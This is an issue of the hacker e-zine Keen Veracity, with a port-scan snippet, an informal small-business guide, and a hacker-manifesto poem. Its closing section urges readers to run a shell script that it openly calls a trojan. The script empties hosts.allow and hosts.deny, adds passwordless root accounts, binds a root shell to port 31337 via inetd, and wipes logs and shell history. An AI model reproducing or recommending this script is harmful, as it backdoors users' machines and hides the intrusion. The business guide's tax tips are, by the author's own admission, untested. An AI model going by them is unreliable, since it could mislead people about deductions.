Ok back to the game, now since we know the basics lets see what this thing can
do.

#for i in 21 22 23 do ./ipmagic -td $i >> scan; done
#fgrep "SYN ACK" -B 1 scan

           Src Port: 22	Dst Port: 1940
              Flags: SYN ACK 
--
           Src Port: 23	Dst Port: 2251
              Flags: SYN ACK 

----
Wow simple easy as that and we see we have two open ports. IP Sorcery
does random generation of values for each packet or you can specify them
yourself the GTK interface is beautiful for doing that. You can also
specify data payload and other things make the traffic look lively. If
4 guys wearing all black trench coats and black sun glasses walk into some
place people will notice but guys dressed different will be passed up.

Anyway screw this article with prejudice blah blah
IP Sorcery 1.7.9beta should be out in a week or so, so hold your panties


--------------------------------------------------------------------------------
[Business for Dummies]======================[eDfGr33n <blooddjinn@hotmail.com> ]
--------------------------------------------------------------------------------


[Business for those with no interest in business]
                    OR
[How to Supplement Your Income by Manifesting Your Own Techinical Skill in a 
Positive Way]


General Overview

[Before Capital is Aquired (or put to use)]

1. -  Skills Assesment
2. -  Relating Your Skills to a Buisness Venture
3. -  Creating a Mission Statement and Buisness Plan

[Setting Your Plans in Motion]

4. -  Obtaining Capital
5. -  Obtaining a Fictitous Name License
6. -  Obtaining a Resale Licence (optional)
7. -  Obtaining a Buisness License
8. -  Actual implementation of said plans.

[Managment and Accounting/Record Keeping]

9. -  Accounting Methods
10 -  Record Keeping
11.-  Taxation and Deductables
12.-  Managing Your Finances




[Preface]

This is the first edition version of my guide to supplementing your income by
way of a personal buisness.  As of this version, this guide is geared
towards those looking into Sole Propriatorships, or buisness run by one
person in their entirity.  This all in all is not exactly the most profitable
way of running a buisness, but seeing that i have no buisness background at 
all this is where i chose to start my guide.  Id like to note that none
of these methods mentioned herein have been put to the grindstone by
myself just yet so as far as I know, their not necessarily true to the real
world.  I am however working on a startup as an experimential project, to
actually see whats 'really' required to own and run a buisness.  I plan
to update this guide on a regular basis with the evolution
or de-evolution of my buisness, making note of my successes and failures
etc to give you an idea of what it actually takes to be successful. Oh, and 
if it seems like im writing it for toddlers its because I am.  This
article is for anyone looking into starting a buisness. If you feel you have
a decent understanding of the general overview (which im sure most of you
do) feel free to skip around and whatnot.  I just tried to include
everything i could think of. Yup..  K im done. haha. Enjoy the read.

eDfGr33n
(a colossal asshole)



[Before Capital is Aquired (or put to use)]

(Skills Assessment)

What gave me the idea of starting a personal buisness originally wasnt the 
prospect of financial gain really.  It was an epiphanie i had while taking a 
huge shit a few days ago.  It pertained to the idea that all one really
needed to have a successful buisness was the ability to produce in such a
way that was unique or semi-unique to possible consumers.  Things that most 
people in their complacent lifestyles choose to outsourse as to avoid
getting their hands dirty.  Things that a decent amount of people in
#Legions do for fun on a regular basis.  So i just drew the logical conclusion 
and decided that if we have whats in demand, whats to stop us from taking 
advantage of what we know and make it work for us.  Its a somewhat
infantile discovery but still a valid one.  Even if you dont
plan to be self-employed for any long period of time it still makes sense to 
have a side buisness if just to have the ability to use it for its
intangible benifits (ie. for your resume, for writeoffs etc).  Ya, after
contemplating the idea for a good many hours ive come to the conclusion that 
with all the give and take within the buisness itself, there is no real
drawback to owning your own buisness as long as you have the time to keep
up with the up keep.  haha.  But ya anyway lets start with the basics, or in
other words, finding what interests you (which actually if you loiter in
#Legions is a given but for the all inclusive purposes of this article
will be just whatever).  Heres a few questions I stole from one of the
books in the bibliography.  They help you identify your stronger intresets.  
The underlying use is relatively simple, er extremely simple.  Get a
handful of your current intrests and use them in place of said
'$interest' rating each on a scale of one to ten, ten being your highest 
intrest.


---------------------------------------------------------------------------------
Figure 1.1 Interest Assessment

How interested are you in $interest?                                    [1-10]

How knowledgable are you in $interest at this point?                    [1-10]

How much time would it take you to become an expert at $interest?         [1-10]

How many people would be willing to pay for your experteese in $interest.[1-10]

-----------------------------------------------------------------------------

The usual choice is simple logicstics, the higher the resultant number the 
better the choice would seem. But if you feel that you really wanna do
something your not quite knowledgeable about at the moment and feel the
want to learn something new before deciding then ya.. self-explanatory.  If 
you feel comfortable in your decision then its time to figure out what
category of buisness your intrest falls into.


(Relating Your Skills to a Buisness Venture)

Buisness are typically cut into three relative areas,  Manufacturing 
Buisnesses, Retail Buisnesses, and  Service Buisnesses, all of which
having their own respective advanatages and disadvantages.

Manufacturing Buisnesses typically have the least competition and the highest
profit margins, yet they have disgustingly large startup fees and costs
associated with managment.  Theres so much to account for when starting a
manufacturing buisness that i honestly wouldnt recommend it unless you have 
enormous financial backing and previous experience.  Both of which this
article assumes your not in possession of, which leads us to the next
logical choice, the Retail Buisness.

Now the Retail Buisness usually specializes in resale stuff.  Think Walmart
and Target and 7-11 etc..  Buisnesses which function off the general
consumer.  These buisnesses are just fucking stupid, and i refuse to even
discuss competing against retail giants.  The only way a Retail Buisness
could possibly become a worthwhile endevor is if you target either
extremely small towns or environments where you dont go into direct
competition with any of the above said giants, or if you offer goods
that cannot be purchaced elsewhere which are in demand.. ie patented
stuff etc etc..

So all in all that leaves us with only one real choice, the service buisness,
the best choice in my oppinion. You need no real product to sell which
means the costs associated with manufacturing your good is really not an
issue at all.  Start-up fees can vary from place to place but usually dont 
exceed $100.00 and all you need is a client base to begin making profits
(which if you posess any tiny ammount of wit really shouldnt be a big deal).
Its amazing that more people dont actually invest the time to create such 
buisnesses, when we talk of deductables in Section 3, accounting, you'll
understand why to an even greater degree.

But in any case ya, choose your poison and continue, im gonna try and 
incorporate the general assumption that you have chosen any of the three
when writing the rest of the paper, so dont worry about my personal oppinion.
Just trying to point ya in the right direction.  Haha.


(Creating a Mission Statement and Buisness Plan)

Ok... so, so far we have an idea and a general outline of the type of buisness
we'll be creating. What comes next is creating a plan of action. 
Something to show to possible future investors what your goals are and 
something to keep you on track with your plans.  I really cant stress
enough how imporatant it actually is to have a well composed Mission
Statement/Buisness Plan.  It helps for recognition later on, of wayfaring and
sidetracking from your original goals.  Mission Statements can
be modified upon idea/epiphanie but make sure you know your sidetracking
will prove benificial.  Make sure you include in your mission statement 
assorted goals and desires for the success of your buisness.  Know the
paths you want to travel, and follow them as explicitly as you can.
Mathmatics will determine your luck, so if your making any changes in your
mission statement make sure they add up.  It is said that risks make for
the most successful of industry tycoons, but im gonna state right fucking now
that RISK ALSO CREATES PAUPERS.  So keep things as stable as possible and try
to follow your buisness plan as to the best of your ability.  Figure 1.2
shows the parts of a standardised buisness plan.

---------------------------------------------------------------------------
Figure 1.2 Business Plans

Executive Summary
- Synopsis of all the other parts of your buisness plan, typically
  written last, but should be numerically first.

Marketplace Analysis
- The results of a study preformed to determine your target market, and that 
targets succeptability to accept your services/goods.

Competitive Environment
- A study to show whos in direct competition with your company at the time of 
  its composition.

Marketing Plan
- No buisness can possibly succede w/o bringing in customers, so here's where 
  you describe exactly how you plan to
- inform your client base of your intentions and possibly recruit them as actual clients.

Financial Statements
- (assumptions)
-    Your assumptions are your general estimations for profits within a given 
     time frame and the costs associated with aquiring those profits.
- (cash flow)
-    The cash flow aspect of your Buisness Plan just shows where your money is
     going within a said period of time.
-    Usually done in monthly increments.  This part of your plan can actually 
     be included within your assumptions
-    but for reasons involving convention should actually be given its own 
     place.

Appendixes
- This is where you place varied information regarding your buisness, possibly
  to keep full documentation of ideas
- mentioned earlier in the buisness plan.  Your appendixes are usually used 
  for holding information that is either
- too lengthy to be placed in the earlier sections, or have no real other 
  place to be mentioned in the plan.
--------------------------------------------------------------------------------

So ya.. use that table to actually compose your buisness plan and whatnot.  
Make sure your analysis is accurate or do i really even need to state
that, it is your money after all.  Haha.. but ya.. after you've comprised your
buisness plan the next logical step, if everything seems peachy, is to 
possibly take a week or so to contemplate what your doing.  Understand
the responsibilitys your about to place on yourself, and make sure your ready
to set your feet in the water.  Once you feel you have a firm
understanding of your own buisness plan and you feel ready to progress
then by all means, progress.  The next part of this guide is aimed at taking
those internal clockworkings and turning them into actual mechanized
gears.


[Setting Your Plans Into Motion]



(Obtaining Capital)

There are quite a few ways to obtain capital when starting a buisness as you 
are probabaly aware of.  You have loans, investors, your personal bank
account, personal credit, stocks you can sell, donations, etc.  Just remember
that with borrowed capital, your ass is on the line.  If things go awry you 
have no recourse except to deal with your losses and possibly lose
personal equity.  Using your own monetary resources is definately the path to
larger profits, but is not something to be taken lightly.  If you have the 
money and feel that if you lost the capital it wouldnt impact you
heavily than its the way to go.  If you'd rather not put your finances on the
line then typically the general idea is to get someone else to do it for
you.

Investors are usually looking to actually put their asses on the line for you
but a share of the buisness in the end, goes into their pockets. 
Take for example an investor who's willing to give you 10% of your reqired 
startup costs for 10% of all profits that go thru your company. Now in
the case of a manufacturing buisness that might sound pretty good if
your startup costs are somewhere around $10 million, i mean that kind of 
capital is hard to come by.  But on the other hand if your startup costs are 
only $2,000 and your your investors are putting up $200 for a buisness 
that will make over $5,000 a month its ludacris to think that you'd be giving
$500 back to your investor every month there after for his original
investment of only $200.  So ya, it really depends on your buisness and your 
situation, etc.



(Obtaining a Fictious Name Licence)
(Obtaining a Resale License)
(Obtaining a Buisness License)

For these next sections, due to their variations between U.S. States im gonna
recommend you call SCORE.  The acronym stands for Service Core of Retired
Executives and actually is a government funded program.  Your tax dollars
at work, heh.   But ya in any case they can direct you on how to obtain said 
licenses in your state, and will give you anything reqired to obtain them
besides the actual fees associated with them, which also vary state
to state.  The number for contacting SCORES as of the writing of this paper 
is:

1-800-827-5722

Besides telling you where to obtain these licenses they also give general 
advice and are usually old decrepid bastards looking to just generally
converse with anyone.  This is because of the fact that their signifigant
others usually have left them by this point on account of their analy 
rententive buisness practices.  Ya, its worth a call. But ya anyway, once
you have those three licences your pretty much a buisness in all respects, 
except for the fact that you have no actual buisness yet.  The next section 
deals with actually dealing with your buisness when you actually get some
and what you need to keep as far as record keeping goes and likewise what 
you can disgard.




[Managment and Accounting/Record keeping]



(Accounting Methods)
Two systems of accounting are used for record-keeping purposes, cash basis and
accrual basis.  Which one will be best for your buisness depends on your
sales volume, the legal form under which you operate, and whether you extend
credit.

In cash basis accounting, you do buisness and pay taxes according to your real
time cash flow.  Cash income begins as soon as you ring it up on the
register or recieve it by check.  Expenses are paid as they occur.  Both 
income and expences are put on the books and charged to the period
in which they are paid or recieved.  You can also defer income to the
following year as long as it isn't actually or constructively recieved by you
in the present year. A check recieved by you in the present year but not
cashed until the following year is still income to you for the present
year.  Therefore, if you want to shift income to the following year, you will
either have to delay billing untill the following year or bill so late in
the present year that a present-year payment is unlikely.

If you want to accelerate expenses to the present year, you should pay those
bills recieved and log them as the present year year's expenses.  An
expense charged to your credit card will count as an expense in the year it
was charged and not when you pay the card company.

On the other hand, with accrual basis accounting, income and expenses are 
charged to the period to which they should apply, regardless of whether
money has been recieved.  For instance, if you are a contractor using accural 
basis accounting and have done work for which you haven't been paid, you
recognise all expenses incurred in connection with that contract during
the period in which it was supposed to have been completely paid and expensed,
regardless of whether you have been paid for it yet.  Its a more
logically structured approach to accounting and takes into consideration
for estamatitive accounting, which really in the end saves you time.  This is
my preferred method but again, my oppinion is just that, my oppinion. 
Either method works so ya.. whatever.

(Record Keeping)

Double-entry bookkeeping is the preferred method of keeping buisness records. 
You would first enter transactions in a journal, then post monthly totals
of the transactions to the appropriate ledger accounts.  There are five 
categorigories of ledger accounts respectively being, Income, Expenses,
Assets, Liability, and Net worth.  Each of these seperate accounts
contain the information corrosponding to the accounts themselves 
(ie. putting incoming transactions into income, and expenditures in
expenses, etc etc).  At the end of each fiscial year or accounting period, 
accounts are balanced and closed. The income and expense accounts are
transferred to the income statement for use in the summary of revenue and 
expenses.

Its extremely important that you have records for almost every transaction due
to the possibility of audits of your businesses tax deductions etc. 
Getting caught with your pants down, although fun at  times when with a
female companion, can grow afully tiresome when your pants are actually
around your fettered ankles and theres some fucking man beast named killer 
attacking you from behind with no escape from his ravishings.  Dont
i just paint a fucking lovely picture.


-------------------------------------------------------------------------------
Figure 3.1 Records to keep
1. Sales Records
2. Cash Recipts
3. Cash disbursements
4. Accounts Receivable
5. Capital Equipment
6. Insurance
7. Payroll
(*) You should also keep copies of all federal income tax returns. (*)
--------------------------------------------------------------------------------

NOTE:

The automation of the recording and preperation of such data is also a 
terrific boon to any business and within the next few months I will be
developing some open source software possibly to preform said tasks if i cant 
find any already in the public domain.


(Taxation and Deductables)

As a buisness owner and employer, you will be responsile for collecting 
various state and federal taxes and remitting theses to the proper
agencies.  In addition, you will be required to pay certin taxes yourself.  
These are givens.  As far as the actual taxes your required to pay to
keep your butt killer free, they are as follows in Figure 3.2.

--------------------------------------------------------------------------------
Figure 3.2 Taxation

Income Taxes - If you have employees, its the actual ammount to withhold
               from their paychecks. 

Social Security (FICA) Tax - Percentages vary with the size and income of
                             your buisness.

State Payroll Taxes - Again, only applicable if you have employees.

Sales Taxes - The sales tax is only applicable to sold goods in most
              cases,  not sold services.
--------------------------------------------------------------------------------

As a sole propriator of a buisness there is really no special taxes to pay 
besides those stated above.  You apply for a federal ID number and your
pretty much set.  The income from such a buisness flows through the owner 
(ie you) into an individual tax return.  Seeing how state taxes differ
from place to place its usually a good idea to contact the IRS as to find out 
what taxes you need to pay explicitly, to avoid possible oversight.

With all these taxes one might think that owning a buisness is a ludacris 
venture with only minimal profitability.  This is the presupposition of
an unweary mind.  The main plus to owning a buisness besides the ability to 
make an income without having to hear shit from an asshole of a boss is
the idea of TAX DEDUCTIONS.  hah!.. You can in all actuallity write off damn 
near anything pertaining to your buisness.  Planning a trip to vegas, use
the company car for the trip and meet a client there. Deduct the cost of
your lodgings as a buisness expense.  Deduct the cost of dinner as a buisness 
expense (note: currently only 50% of entertainment expenses are
deductable, the remaining 50% is not deductable but still, that 50% cheaper).
Deduct everything pertaining to the buisness as a buisness expense.  As
long as you maintain proper documentation and the corresponding 
accounting you should have no problem easily getting back what you've paid 
for in taxes.  Also because im short on time at the moment im not gonna
cover depreciation but i highly recommend you look into it to take advantage 
of the maximum allowable deduction permitted by law.


(Managing Finances)

As far as managing your finances goes, theres really not much to be said 
except to make sure you dont flagrantly waste your resources. Invest
whayt you can back into the buisness making more of your current situation.  
There will be time for flagrant spending later when your ultimately
successful and overwhelmingly wealthy.  So ya, dont go out and get the lease 
to own mercedes with your first monthly income.  Take your time, and make
sound wise investments they ultimately will all in all benifit only you in 
the end.


(Conclusion)

To conclude this first version id like to state that yes it is a rough 
overview of buisnesses in general and again i have no actual buisness
background myself.  But im taking steps even as i type to change that, to 
better myself and those i associate myself with by understanding standard
buisness practices and the likes there in.  And again.. i will be updating 
this guide with my experiences and such with any change or understanding. 
I wouldnt use this guide at the moment to start a buisness of your own.  Im 
just trying to get your gears rotating, to possibly intrest you in
buisness and get you to actually do your own homework.  I plan to make this 
guide quite a bit more comprehensive in the near future and possibly
include buisness software/templates to make this process a relatively painless
process. Think of me as your own personal buisness Jesus, ill nail myself
to a plank and let you reap the benifits.  haha.. k.. i got shit to do.

eDfGr33n
(comments/remarks/hatemail go to: personalbuisnessjesus@hotmail.com)

thx: The Legions
fuck yous: All those who resist my tyranny.


--------------------------------------------------------------------------------
[The New Hackers Manifesto]==================[Digital Ebola <digi@legions.org> ]
--------------------------------------------------------------------------------

/* I wrote this in the shower one morning. It's just how I felt. */
/* Digital Ebola <digi@legions.org> */



Another one got busted today
Not for what you would think
I nod my head in silence, yet I am crying inside
Another idea stolen
Another idea lost
Another advance defeated

I stand in the mall 
and I see sheep
The flock doesnt know, and the flock doesnt care
I am not like you
I want to know where something comes from
I want to know how something works
I watch the flock blindly consume what it doesnt understand

My world is not like your world
I scream out, but none of you will listen
when I do something creative 
it gets stolen, or shoved aside
You do not care 
You only care about the almighty dollar
You will stop at nothing to preserve it

I give you my ideas freely
You give me the DMCA
I give you information security
You give me the Patriot Act
I have been called every name in the book
smartass, hacker, cracker, terrorist
You give me a hat and a cliche

This madness has to stop
Information no longer wants to be free
Information IS free
No matter what you do to quench it
you squash 1 idea
and 1000 more ideas will take its place
Why fight it?

This is and has always been our world
You fear what you do not understand
You steal what you cannot dream
Your lawyers fight until the end
Your money flows to what you think is the problem
But I am not the problem
YOU are the problem. 
YOU are scared and you want control
In our world, WE have the control
We hold the ideas and we carry the keys
In this digital world of mortals 
we walk as gods

We will not back down
You can fight us, you can jail us 
you can quote your DMCA to us
You can force code off one site 
and it will be mirrored a million times
This world is full of people like me
Awkward, antisocial, rebellious
For I am hacker, one that uses his mind for any idea
Not your bought-out media's definition
but something that you will never comprehend
You will never control what we say or think
You will never win against us all
This is our new manifesto 
and while you may silence me
You wont get us all. 




--------------------------------------------------------------------------------
[SIGHUP]============================================[Legions of the Underground]
--------------------------------------------------------------------------------

Well, looks like another end of issue is upon us, and in parting from your 
attention spans, we would like to trojan your UNIX/Linux machine. Well, as
you can see, the LoU is not quite as advanced as some of those groups out 
there that might actually provide some kind of extractor thingamajig... 
and then distro trojaned versions.. No.. We have always been dependent on the 
reader being smart enough to use cut and paste.. So, since we aren't quite
as technical, we are going to depend on you, the reader, to be smart enough
to run the script below. It's quite okay! Honest! It can't be any worse 
then any of the other trojaned zines out there, and well, we admit this is 
quite primitive, it is also quite effective! Give it a try! 

Hmmm.. Maybe this should be a EULA....

See you at Defcon X, we will be full of booze, and in your machines before 
you can say "Damn, you guys so fly, here's 50 bucks and my sister!" 



OS=`uname -s`

if [ $OS != "Linux" -a $OS != "FreeBSD" ]; then
  exit 0
fi

echo "#" > /etc/hosts.allow
echo "#" > /etc/hosts.deny

if [ $OS == "Linux" ]; then

  echo "unf::9998:9998:unf,,,:/tmp:/bin/bash" >> /etc/passwd
  echo "unf2::0:0:unf,,,:/tmp:/bin/bash" >> /etc/passwd
  echo "unf::0:99999:7:::" >> /etc/shadow
  echo "unf2::0:99999:7:::" >> /etc/shadow

elif [ $OS == "FreeBSD" ]; then

  echo "unf::9998:9998::0:0:unf:/tmp:" >> /etc/master.passwd
  echo "unf2::0:0::0:0:unf2:/tmp:" >> /etc/master.passwd
  pwd_mkdb /etc/master.passwd

fi

ln /dev/null /tmp/.bash_history

if [ $OS == "Linux" ]; then

  killall -9 inetd
  echo "31337 stream tcp nowait root /bin/bash -i" >> /etc/inetd.conf

elif [ $OS == "FreeBSD" ]; then

  killall inetd
  echo "31337 stream tcp nowait root /bin/sh -i" >> /etc/inetd.conf

fi

`which inetd`

cat /dev/null > /var/log/messages

if [ $OS == "Linux" ]; then

  cat /dev/null > /var/log/syslog

elif [ $OS == "FreeBSD" ]; then

  cat /dev/null > /var/log/userlog
  cat /dev/null > /var/log/security
  cat /dev/null > /var/log/lastlog

fi

cat /dev/null > /var/log/wtmp
cat /dev/null > /root/.bash_history




--------------------------------------------------------------------------------
		S U B M I T  T O  K E E N  V E R A C I T Y 
--------------------------------------------------------------------------------
NO! You do not have to be a member of Legions of the Underground to submit to 
KV. You can be a member of something else! Nobody is perfect! If you have a idea
and would like to toss it out in the wind for general discussion, or maybe you 
are researching something and you just want feedback, KV is a great way to get
your ideas out in the open. We at Legions of the Underground are not prejudice
in any way shape or form, so even a AOLer's article may be published if it seems
that it has clue. Or then again, maybe hell will freeze over! Anyones stuff 
maybe published, but we will never know if you don't submit! So get to writing.
Because what you don't know can kill you! Legions of the Underground is a 
equal opportunity destroyer.
--------------------------------------------------------------------------------
All submissions to: submit-kv@legions.org
--------------------------------------------------------------------------------
IRC: Undernet #legions 
MUD: Sensenet.legions.org 5555 - The Best in Star Wars Reality Mudding
--------------------------------------------------------------------------------
	 O F T E N  I M I T A T E D  N E V E R  D U P L I C A T E D 
--------------------------------------------------------------------------------
              L E G I O N S  O F  T H E  U N D E R G R O U N D  

   n                                                                  :.
   E%                 ___       _______   ___   ___                 :"5
  z  %                | |      (_______)  | |   | |                :" `
  K   ":              | |      | |   | |  | |   | |               z   R
  ?     %.            | |      | |   | |  | |   | |             :^    J
   ".    ^s           | |___   | |___| |  | |___| |            f    :~
    '+.    #L         |_____|   \_____/    \_____/           z"    .*
      '+     %L                                             z"    .~
        ":    '%.                                         .#     +
          ":    ^%.                                     .#`    +"
            #:    "n                                  .+`   .z"
              #:    ":       www.legions.org         z`    +"
                %:   `*L                           z"    z"
                  *:   ^*L                       z*   .+"
                    "s   ^*L                   z#   .*"
                      #s   ^%L               z#   .*"
                        #s   ^%L           z#   .r"
                           #s   ^%.       u#   .r"
                             #i   '%.   u#   .@"
                               #s   ^%u#   .@"
                                 #s x#   .*"
                                  x#`  .@%.
                                x#`  .d"  "%.
                              xf~  .r" #s   "%.
                        u   x*`  .r"     #s   "%.  x.
                        %Mu*`  x*"         #m.  "%zX"
                        :R(h x*              "h..*dN.
                     u@NM5e#>                 7?dMRMh.
                    z$@M@$#"#"                 *""*@MM$hL
                  u@@MM8*                          "*$M@Mh.
                z$RRM8F"      [knowledge is key]     "N8@M$bL
               5`RM$#                                  'R88f)R
                'h.$"                                     #$x*


--------------------------------------------------------------------------------
All mention of LoU, Legions of the Underground, Legions, KV, or Keen Veracity,
copyright (c) 2000-2002 legions.org, all rights reserved. 
--------------------------------------------------------------------------------


